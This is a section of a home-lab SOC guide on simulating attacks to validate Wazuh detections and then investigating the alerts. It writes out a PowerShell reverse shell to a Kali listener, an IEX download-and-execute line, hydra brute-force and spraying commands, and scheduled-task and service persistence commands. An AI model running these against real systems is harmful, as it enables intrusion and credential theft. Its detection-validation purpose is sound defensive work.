

Sections 11–12: Threat Simulation & Incident Investigation

11. Threat Simulation

Ground rule: every command below runs **only** inside the isolated `192.168.56.0/24` host-only network, from Kali (`.20`) against your own lab VMs. Confirm NAT adapters are detached from attacker/victim VMs before running any of this.

11.1 Nmap — reconnaissance / port scan (validates detection 10.6)

```
nmap -sV -p- -T4 192.168.56.10      # full TCP port + service version scan, victim
```

```
nmap -sn 192.168.56.0/24          # ping sweep — host discovery across the subnet
```

```
nmap -PR -sn 192.168.56.0/24      # ARP scan (Layer 2 discovery, faster on local segment)
```

`-sV` probes open ports for service/version banners; `-p-` scans all 65535 ports (loud — good for a first validation test); `-T4` sets aggressive timing.

11.2 Netcat — reverse shell (validates 10.15)

On Kali (listener):

```
nc -lvnp 4444
```

On Windows victim (simulate a dropped payload triggering callback — PowerShell reverse shell, standard test snippet):

```
$client = New-Object System.Net.Sockets.TCPClient("192.168.56.20",4444)
```

```
$stream = $client.GetStream()
```

```
[byte[]]$bytes = 0..65535|%{0}
```

```
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
```

```
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
```

```
$sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + "PS " + (pwd).Path + "> "
```

```
$sendbackByte = ([text.encoding]::ASCII).GetBytes($sendback2)
```

```
$stream.Write($sendbackByte,0,$sendbackByte.Length); $stream.Flush()
```

```
}
```

This is a well-known, widely published test snippet (not novel tradecraft) — its only purpose here is to trigger Sysmon Event ID 3 + Event ID 1 with a shell parent, confirming detection 10.15 fires.

11.3 Hydra — brute force (validates 10.5)

```
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://192.168.56.10
```

```
hydra -l labuser -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.15
```

-l fixed username, **-P** password list, protocol module (**rdp/ssh**) targets the respective service. Expect this to take a while against a real wordlist — for a quick detection test, use a 20-line trimmed wordlist instead.

11.4 Atomic Red Team — technique-accurate simulation

Windows victim, run as Administrator

IEX (IWR

```
'https://raw.githubusercontent.com/redcanaryco/atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
```

```
Install-AtomicRedTeam -getAtomics
```

```
Invoke-AtomicTest T1003.001 -TestNumbers 1 # LSASS credential dumping simulation
```

```
Invoke-AtomicTest T1053.005 -TestNumbers 1 # Scheduled task persistence
```

```
Invoke-AtomicTest T1059.001 -TestNumbers 1 # PowerShell execution technique
```

Atomic Red Team executes the **minimum viable action** matching a MITRE technique ID — it's designed specifically for detection validation, not full attack chains, so it's the safest way to test 10.9–10.12 without hand-writing risky test payloads yourself.

11.5 Password spraying (distinct from brute force — one password, many accounts)

```
hydra -L users.txt -p 'Summer2026!' ssh://192.168.56.15
```

This should **not** trip the same per-account threshold rule as 10.5 (which keys on failures-per-account) — if it does, your threshold logic needs a second axis (failures-per-source-IP across *distinct* accounts). Document this as a detection gap if found; it's a genuinely common real-world blind spot worth writing up.

11.6 SMB / DNS enumeration

```
enum4linux -a 192.168.56.10    # SMB enumeration
```

```
smbclient -L //192.168.56.10 -N
```

```
dig axfr @192.168.56.5 lab.local # zone transfer attempt (should fail if DNS is configured correctly — a pass/fail test in itself)
```

11.7 Persistence techniques (validates 10.9/10.10)

```
schtasks /create /tn "WindowsUpdateCheck" /tr "powershell.exe -enc <base64>" /sc onlogon /ru SYSTEM
```

```
sc.exe create "WinDefenderHelper" binpath= "C:\Users\Public\svc.exe" start= auto
```

11.9 Sophos perimeter simulation (validates 10.18–10.20 — new)

These target the Sophos Firewall itself, not an endpoint VM — run from Kali against the Sophos LAN-facing IP (192.168.56.1, or your actual topology's address per 08-Sophos-Firewall-Integration.md §2).

Trigger 10.18 (Firewall/Admin authentication failure):

The reliable way to do this: open the Sophos WebAdmin login page in a browser (<https://192.168.56.1:4444>) and manually enter the wrong password 3 times. This is deliberately the recommended method, not a fallback — a scripted HTTP POST against an admin login form is not guaranteed to actually trigger a real failed-auth event the way the browser flow does, since WebAdmin login likely involves a CSRF token and/or session cookie obtained on page load that a bare `curl -X POST` won't have. A "test" that silently doesn't reach the login handler at all would look identical to a broken detection rule when it's actually a broken test — exactly the kind of false signal this project has been trying to eliminate throughout.

If you want to script it anyway (optional, and only after confirming the manual method works first so you have a known-good baseline to compare against):

Illustrative only — path, form field names, and any CSRF/session requirement are NOT confirmed.

Capture the real request with your browser's dev tools (Network tab) during a manual login

attempt and copy the ACTUAL form field names/endpoint from there, don't trust this verbatim.

for i in 1 2 3; do

```
curl -sk -X POST https://192.168.56.1:4444/webconsole/webpages/login.jsp \
```

```
-d "username=admin&password=wrongpass$i" -o /dev/null -w "attempt $i: %{http_code}\n"
```

done

Trigger 10.19 (Perimeter deny burst / external port scan):

```
nmap -sT -p 1-200 -T4 192.168.56.1
```

A fast connect scan against a range that isn't explicitly allowed by your Sophos firewall rules generates a burst of denies in a short window — exactly what rule 110109/110110 aggregates on.

Trigger 10.20 (VPN brute force) — only if SSL VPN is configured on your unit:

```
hydra -l testuser -P /usr/share/wordlists/rockyou.txt -e nsr sophos_ssl_vpn://192.168.56.1:8443
```

Hydra doesn't have a native `sophos_ssl_vpn` module — this line is illustrative of intent, not copy-paste-runnable. In practice, test this one manually (a handful of deliberate wrong VPN client connection attempts) rather than scripted, until you've confirmed via `wazuh-logtest` (file 08, §4.4) what the real log looks like. This is consistent with detection 10.20 being explicitly flagged as unverified in `AUDIT-LOG.md` — don't build false confidence by scripting a test against a rule you haven't confirmed the field names for yet.

11.10 Test log template (expanded)

Test #	Technique	Command	Expected Detection ID	Result (Pass/Fail)	Alert Timestamp	Notes
1	T1046 Port scan	<code>nmap -sV -p- ...</code>	10.6			
2	T1110 Brute force	<code>hydra -l admin ...</code>	10.5			
3	T1110 Sophos admin auth failure	§11.9 manual WebAdmin login × 3	10.18			
4	T1595.001 Sophos deny burst	§11.9 nmap	10.19			
5	T1110.001 Sophos VPN brute force	§11.9 manual VPN attempts	10.20			verify decoder first — see note above
...						

Fill this table as you run each test — it becomes your Section 8 metrics data and your report's evidence appendix.

12. Incident Investigation

For **every** alert that fires during simulation, work through this checklist before marking it resolved. This is what separates "I saw an alert" from "I investigated an alert" on a resume.

12.1 Timeline

Build a chronological sequence from first indicator to last observed activity:

T+0s : Kali initiates action (source: attack log / your test table)

T+2s : Sysmon/auditd captures raw event

T+3s : Wazuh agent forwards

T+4s : Wazuh rule matches, alert generated

T+5s : (if applicable) MISP enrichment returns

In Kibana/Wazuh dashboard: **Discover** tab, filter by `agent.name` and time range bracketing your test, sort ascending by `@timestamp`.

12.2 Process Tree

Reconstruct parent → child chain from Sysmon `ParentProcessGuid/ProcessGuid` linkage:

explorer.exe (user session)

```
└─ winword.exe      (Office document opened)
    └─ powershell.exe (macro-spawned — suspicious: Office apps shouldn't spawn shells)
        └─ cmd.exe
            └─ nc.exe → 192.168.56.20:4444 (reverse shell callback)
```

A process tree where a document/browser is the ultimate ancestor of a shell is the single strongest visual indicator of initial-access compromise — always draw this out, even roughly, before writing conclusions.

12.3 Parent Process / Command Line

For the flagged process, extract exactly:

- `Image` (what ran)
- `ParentImage` (what launched it — is this expected?)
- `CommandLine` (full arguments — decode if Base64)
- `CurrentDirectory`, `User`, `IntegrityLevel` (SYSTEM/High/Medium — privilege context)

12.4 Network Connections

Cross-reference Sysmon Event ID 3 for the same `ProcessGuid`:

- Destination IP/port
- Whether destination matches a MISP-known IOC (pull the enrichment tag if present)
- Connection duration (a long-lived connection on an unusual port supports C2/reverse-shell theory over one-off noise)

12.5 User Context

- Which account executed the process — service account, standard user, or admin?
- Was this account subject to a prior alert (failed logins, RDP anomaly) in the preceding hours? Correlate, don't investigate each alert in isolation.

12.6 Registry Changes

Sysmon Event ID 13 (`RegistryEvent (Value Set)`) — check common persistence keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\System\CurrentControlSet\Services\<name>\ImagePath

12.7 Services / Scheduled Tasks / Persistence Review

Run a full persistence sweep on the affected host, not just the triggering alert:

```
Get-ScheduledTask | Where-Object {$_.Date -gt (Get-Date).AddDays(-1)}
```

```
Get-WmiObject Win32_Service | Where-Object {$_.StartMode -eq "Auto"} | Sort-Object  
-Property StartName
```

```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
```

The alert that fired is rarely the *only* persistence mechanism a real attacker plants — always check for siblings.

12.8 Log Analysis Cross-Reference

Pull all Wazuh alerts (any severity) for the affected host/agent across a wider window (± 2 hours) than the specific alert — low-severity events immediately before/after a critical one are often the reconnaissance and cleanup steps of the same incident.

12.10 Perimeter Cross-Reference (new — check this even for endpoint-only alerts)

Before closing any investigation, check whether the same source IP or account also appears in Sophos-sourced alerts (`rule.groups: sophos`, detections 10.18–10.20) in the same time window — not just the endpoint side. An endpoint alert that's *also* preceded by a Sophos deny-burst or VPN-auth-failure from the same source is a materially stronger case for an active external actor than either signal alone; an endpoint alert with **no** corresponding perimeter activity is a signal the compromise likely originated from something already inside the network (an already-authenticated user, a prior foothold, or lateral movement), which changes your Section 16 containment scope. This is the actual payoff of having a perimeter sensor at all — don't skip this check just because the triggering alert came from the endpoint side.

12.9 Investigation Write-up Template

Incident: [short title]

Alert ID / Rule:

Detected: [timestamp]

Host:

Severity:

Summary: [2-3 sentences]

Timeline: [table]

Process Tree: [ASCII/diagram]

IOCs Identified: [hashes, IPs, domains]

MISP Match: [yes/no + context]

Perimeter Cross-Reference: [Sophos alerts for same source/account in window — see §12.10]

Root Cause:

Scope (other hosts affected?):

****Response Taken:****

****Status:**** Contained / Eradicated / Closed

Continue to: [05-Threat-Hunting-and-Dashboards.md](#)